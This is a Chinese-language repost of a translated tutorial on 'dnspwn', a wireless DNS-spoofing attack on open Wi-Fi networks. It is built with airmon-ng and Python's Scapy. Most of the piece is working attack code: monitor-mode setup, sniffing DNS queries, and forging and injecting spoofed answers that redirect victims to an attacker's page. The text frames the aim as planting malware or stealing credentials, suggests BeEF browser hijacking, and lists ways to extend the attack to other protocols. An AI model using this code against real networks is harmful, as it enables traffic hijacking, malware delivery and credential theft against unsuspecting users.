標籤:
看過電影《駭客交鋒》的極客們都會記得:片中王力宏分析的攻擊核電站的代碼是用Python寫的~
目前在全球資訊安全領域,Python仍然佔主導地位,這篇文章研究了Duspwn攻擊的運作方式,以此進行逆向思維,便可加固和提升網路系統的安全性。
// 以下是原文;
// 原文地址:http://www.oschina.net/translate/wireless-attacks-with-python-part-one-the-airpwn-attack
前不久,我在Raidersec部落格上發布了一篇部落格文章,介紹了如何利用Python和Scapy實現繞過鑒權的攻擊。我非常高興寫出這篇文章,因為這麼做我不僅瞭解了如何使用aircrack套件,還有機會深度地瞭解無線攻擊運作方式有什麼不同。
因此,正如文中所說,這篇部落格文章將引出一系列討論如何利用Python實現普通的無線攻擊的短小精悍的部落格文章。像以往一樣,我希望你欣賞這篇文章,而且毫不猶豫地讓我們知道你是否也有如下的評論或者問題。
Dnspwn攻擊
我們將要進行的第一個攻擊稱之為"dnspwn攻擊"。(因為,在我看來,這種攻擊首先使用"airpwn"工具建立了目標HTTP,然後對DNS進行攻擊。) 這種攻擊的思想非常簡單:
假設在一個開放的WLAN上有兩個人:Bob和Eve。Eve想讓Bob訪問她建立的惡意網頁,這樣她就可以通過隱藏性的下載給Bob的電腦上安裝惡意軟體,或者可能展示一個詐騙網站來試圖竊取Bob的認證資訊。
為了實現這種攻擊,她記得她 可偵聽到所有從Bob電腦發出或者到達Bob電腦的請求。她還知道她比Bob正在請求的Web伺服器離Bob更近。因此,她決定等待Bob發送Web 請求,而且看看她是否能夠在真正的Web伺服器響應之前回送一個詐騙響應,以假裝這個響應來自於web伺服器。事實證明,她可以做到。實際上,一旦接 收了詐騙響應,Bob的電腦可能將忽略任何後續接收到的資訊,包括真正的響應。
讓我們看一下這一些發生的過程,看起來如下:
因此,既然我們已經知道這種攻擊如何啟動並執行了,那麼讓我們把這種攻擊自動化。
設定Alfa AWUS06H無線網卡
就像我在Raidersec部落格文章裡的哪個例子,我們將使用手邊的Alfa AWUS036H實現這次攻擊。我們需要做的第一件事情就是設定無線網卡在監控模式下,這樣我們就可以捕獲所有來自於示範性的不安全網路的資訊流。
- [email protected]:~# airmon-ng start wlan0
既然我們已經啟動了監控模式,並運行在mon0介面上,那麼讓我們開始編寫代碼吧!
編寫攻擊代碼
我們將利用scapy模組實現這種攻擊。我們開始先偵聽目的連接埠為53的任何UDP包,然後發送這個包給我們後面將要編寫名字為send_response的函數:
from scapy.all import *sniff(prn=lambda x: send_response(x),lfilter=lambda x:x.haslayer(UDP) and x.dport == 53)
現在,讓我們建立一個可以解析請求中相關資訊並注入應答的函數。我們只是通過如下逐層上移的方式解析包並建立響應:
- 802.11幀-更改"to-ds"標記為"from-ds"(現在我們的請求將成為來自於訪問點)
- 802.11幀-交換源MAC地址和目的MAC地址
- IP層-交換源IP地址和目的IP地址
- UDP層-交換源連接埠和目的連接埠
- DNS層-設定"answer"標記,添加欺騙性
幸運的是,通過抽象掉許多次要細節,scapy使這個變得相當輕鬆(例如,在一個802.11幀中,實際上具有4個MAC地址欄位,根據包的方向,每一種都有不同的順序)。如上所述,代碼如下:
def send_response(x): # Get the requested domain req_domain = x[DNS].qd.qname spoofed_ip = ‘192.168.2.1‘ # Let‘s build our response from a copy of the original packet response = x.copy() # We need to start by changing our response to be "from-ds", or from the access point. response.FCfield = 2L # Switch the MAC addresses response.addr1, response.addr2 = x.addr2, x.addr1 # Switch the IP addresses response.src, response.dst = x.dst, x.src # Switch the ports response.sport, response.dport = x.dport, x.sport # Set the DNS flags response[DNS].qr = 1L response[DNS].ra = 1Lresponse[DNS].ancount = 1
現在設定了所有的標誌,我們再建立添加上 DNS 應答:
response[DNS].an = DNSRR( rrname = req_domain, type = ‘A‘, rclass = ‘IN‘, ttl = 900, rdata = spoofed_ip
)
最終,我們注入此欺騙響應:
sendp(response)
這就是全部了!你可以在 Github上找到所有原始碼。
示範
對於這個示範,我有如下來自主機192.168.2.138的HTML響應:
<html><head></head><body> Owned.</body></html>
值得注意的是,我們可以加上任何我們想要的HTML,Javascript,等等。舉個例子,用BeEF 架構 來劫持瀏覽器是小菜一碟。
下面是處於攻擊中的(我是用我的iPhone來做被攻擊方):
總結 & 將來的改進
注意這個攻擊方法對於其他簡單的請求/響應協議也同樣有效。例如,原始的“airpwn”攻擊欺騙了HTTP響應。對於這個指令碼,我們還可以進一步做一些改進和提高。下面就是其中的幾個方面:
- 通過Regex來匹配請求(例如,僅僅替換Javascript的內容)
- 通過參數設定選項/從檔案中讀取配置資訊
- 實現其他協議的攻擊(如HTTP)。
Enjoy!
網路安全:Python無線攻擊(部分轉載)